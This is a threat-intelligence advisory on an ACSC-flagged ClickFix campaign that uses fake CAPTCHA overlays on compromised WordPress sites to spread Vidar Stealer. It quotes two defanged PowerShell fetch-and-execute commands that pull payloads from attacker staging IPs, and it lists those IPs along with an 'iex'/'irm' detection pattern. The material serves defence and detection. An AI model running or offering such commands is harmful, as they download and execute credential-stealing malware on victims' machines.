# ACSC Advisory — ClickFix Campaign Distributing Vidar Stealer via Compromised WordPress Sites Targeting Australian Infrastructure > The Australian Signals Directorate's Australian Cyber Security Centre (ACSC) issued a national-level advisory on 7 May 2026 warning of an ongoing ClickFix social-engineering campaign that delivers Vidar Stealer to Australian organizations and infrastructure entities through compromised WordPress sites displaying fake Cloudflare CAPTCHA prompts. Victims who follow the prompt to copy and execute a one-line PowerShell command receive an in-memory shellcode loader that injects Vidar into svchost.exe, self-deletes the initial dropper, and resolves C2 addresses via dead-drop URLs hosted on Telegram bots and Steam profiles. Rapid7 Labs links the activity to a globally active stealer operation that has compromised 250+ WordPress sites across at least 12 countries since December 2025, with some staging infrastructure dating back to July/August 2025. - **Published:** 2026-05-08T00:07:33Z - **Last reviewed:** 2026-05-08T00:07:33Z - **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0479 - **ID:** TL-2026-0479 - **Severity:** HIGH - **Category:** MALWARE - **Status:** ACTIVE - **Detections:** 9 · **IOCs:** 19 (full data via the Threadlinqs MCP server — Purple tier) ## Description Overview -------- On 7 May 2026, the Australian Signals Directorate's Australian Cyber Security Centre (ASD's ACSC) released an advisory warning that Australian organizations and critical-infrastructure entities are being actively targeted by a ClickFix campaign that distributes the Vidar information stealer through compromised, otherwise-legitimate WordPress sites. The advisory was released in coordination with public reporting from Rapid7 Labs (10 March 2026) tying the Australia-targeted activity to a much larger global stealer operation that has compromised 250+ WordPress sites across at least 12 countries (Australia, Brazil, Canada, Czechia, Germany, India, Israel, Singapore, Slovakia, Switzerland, the United Kingdom, and the United States). The operation is significant because it weaponises three trends that have collectively eroded traditional perimeter defences: (1) ClickFix social engineering that converts the victim themselves into the executor of malicious code, bypassing browser sandboxes and email gateways entirely; (2) the use of trusted, legitimate WordPress sites as the malware-distribution surface, defeating URL-reputation and proxy block-lists; and (3) Vidar Stealer's evolved memory-resident execution model that minimises forensic artefacts and resolves C2 only at runtime via dead-drop URLs. Initial Access — ClickFix Lure on Compromised WordPress -------------------------------------------------------- Threat actors compromise WordPress sites primarily through vulnerable or out-of-date themes and plugins, and inject obfuscated JavaScript that conditionally renders a full-page overlay impersonating Cloudflare's interstitial verification or a 'Verify you are human' CAPTCHA. The overlay includes step-by-step instructions that walk the visitor through pressing Win+R (Run dialog) or opening a terminal, pasting a copied command, and pressing Enter. The clipboard payload is silently populated by the malicious JavaScript via the document.execCommand('copy') / Clipboard API path. Observed initial-stage commands include: - powershell -c iex(irm 91.92.240[.]219 -UseBasicParsing) - powershell.exe -Command "try { $finalPayload = iwr -Uri \"178.16.53[.]70\" -UseBasicParsing; Invoke-Expression $finalPayload.Content } catch { }" Both use Invoke-RestMethod / Invoke-WebRequest plus Invoke-Expression — the canonical 'iex(irm …)' fetch-and-execute pattern that the ACSC explicitly calls out as a high-value detection target. Execution and In-Memory Loader ------------------------------ The second-stage script downloads two raw shellcode blobs named 'cptch.bin' and 'cptchbuild.bin'. A reflective .NET / PowerShell loader allocates RWX memory using VirtualAlloc, copies the shellcode in, and executes it via CreateThread. The shellcode then performs process-injection into a newly spawned svchost.exe using a classic CreateRemoteThread / NtMapViewOfSection technique, and the original dropper deletes itself from disk (matching the long-standing Vidar self-delete behaviour). From this point the stealer runs entirely from memory inside a host process that defenders typically allow-list, severely reducing on-disk forensic artefacts. Vidar Stealer Capabilities (Evolved 2025-2026 variant) ------------------------------------------------------ Vidar is a malware-as-a-service infostealer family active since late 2018. The variant observed in this campaign: - Self-deletes the initial executable after launching - Operates from system memory to reduce forensic artefacts - Steals saved browser passwords, cookies, autofill data, and stored credit-card data - Targets desktop cryptocurrency wallet files and browser-extension wallets (MetaMask, Phantom, Trust Wallet) - Collects host fingerprint data: hostname, username, OS version, hardware, installed software, screenshot - Resolves C2 addresses by parsing dead-drop posts on Telegram bot profiles and Steam profile bios (a technique Vidar pioneered) — defeats static C2 blocklists - Ex-filtrates collected data over HTTPS to the resolved C2 Rapid7 also observed two related stealer payloads being delivered through the same ClickFix infrastructure: 'Impure Stealer' (a .NET stealer) and 'VodkaStealer' (a C++ stealer), suggesting the same operator either rotates payloads or sells access to multiple stealer families. C2 / Infrastructure ------------------- Direct-fetch staging IPs identified to date: 91.92.240.219, 178.16.53.70, 94.154.35.115. Some staging infrastructure has been observed live since July/August 2025, indicating the operator established the back-end before the high-volume distribution wave that began in December 2025. BeaconBeagle queries on these IPs returned no Cobalt Strike / Sliver / Mythic beacon matches as of 2026-05-07, consistent with the operator using bespoke shellcode rather than a commodity C2 framework. Victimology ----------- The ACSC advisory is explicit: Australian organizations and infrastructure entities are an active targeting set. Rapid7's broader telemetry shows 12 countries impacted with no obvious sectoral skew — consistent with a financially motivated, opportunistic stealer operator monetising stolen credentials and wallet seeds rather than a state-aligned actor with a defined targeting list. Attribution ----------- No named APT or eCrime cluster has been publicly attributed. Vidar is a MaaS family used by many unrelated affiliates; the 'operator' here is the affiliate running this distribution channel rather than the Vidar developer. Confidence in actor attribution is LOW; confidence in the technique-and-payload chain is HIGH. Defensive Posture ----------------- The ACSC mitigations focus on the four highest-leverage controls: (1) restrict / disable PowerShell for non-administrative users, (2) implement application allow-listing (AppLocker / WDAC), (3) keep WordPress themes and plugins patched, and (4) remove unused themes and plugins from the public attack surface. Detection engineering should prioritise: PowerShell command-line containing 'iex' AND ('irm' OR 'iwr'), PowerShell child of explorer.exe with no parent shell, RWX VirtualAlloc + CreateThread followed by CreateRemoteThread into svchost.exe, and outbound DNS / HTTP requests to t.me, steamcommunity.com profile pages from non-browser processes. ## MITRE ATT&CK - T1584 Compromise Infrastructure - T1608 Stage Capabilities - T1583 Acquire Infrastructure - T1189 Drive-by Compromise - T1566 Phishing - T1204 User Execution - T1059 Command and Scripting Interpreter - T1106 Native API - T1620 Reflective Code Loading - T1055 Process Injection - T1070 Indicator Removal - T1027 Obfuscated Files or Information - T1140 Deobfuscate/Decode Files or Information - T1036 Masquerading - T1555 Credentials from Password Stores - T1539 Steal Web Session Cookie - T1082 System Information Discovery - T1083 File and Directory Discovery - T1217 Browser Information Discovery - T1518 Software Discovery - T1005 Data from Local System - T1115 Clipboard Data - T1113 Screen Capture - T1071 Application Layer Protocol - T1102 Web Service - T1105 Ingress Tool Transfer - T1573 Encrypted Channel - T1041 Exfiltration Over C2 Channel - T1531 Account Access Removal ## Sources - [BleepingComputer — Australia warns of ClickFix attacks pushing Vidar Stealer malware](https://www.bleepingcomputer.com/news/security/australia-warns-of-clickfix-attacks-pushing-vidar-stealer-malware/) - [Cyber Daily — ACSC warns of ClickFix campaign leveraging Australian infrastructure](https://www.cyberdaily.au/security/13564-australian-cyber-security-centre-warns-of-clickfix-campaign-leveraging-australian-infrastructure) - [ACSC Advisory — ClickFix campaign targeting Australian organizations and infrastructure](https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories) - [Rapid7 Labs — When Trusted Websites Turn Malicious: WordPress Compromises Advance Global Stealer Operation](https://www.rapid7.com/blog/post/tr-malicious-websites-wordpress-compromise-advances-global-stealer-operation/) - [Infosecurity Magazine — WordPress ClickFix Infostealer campaign coverage](https://www.infosecurity-magazine.com/news/wordpress-clickfix-infostealer/) - [MITRE ATT&CK — T1204.004 Malicious Copy and Paste (ClickFix)](https://attack.mitre.org/techniques/T1204/004/) - [MITRE ATT&CK — T1059.001 PowerShell](https://attack.mitre.org/techniques/T1059/001/) - [MITRE ATT&CK — T1055 Process Injection](https://attack.mitre.org/techniques/T1055/) - [MITRE ATT&CK Software — Vidar (S0660)](https://attack.mitre.org/software/S0660/) - [CISA — #StopRansomware and ClickFix advisories collection](https://www.cisa.gov/news-events/cybersecurity-advisories) ## Full data Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp Canonical: https://intel.threadlinqs.com/threat/TL-2026-0479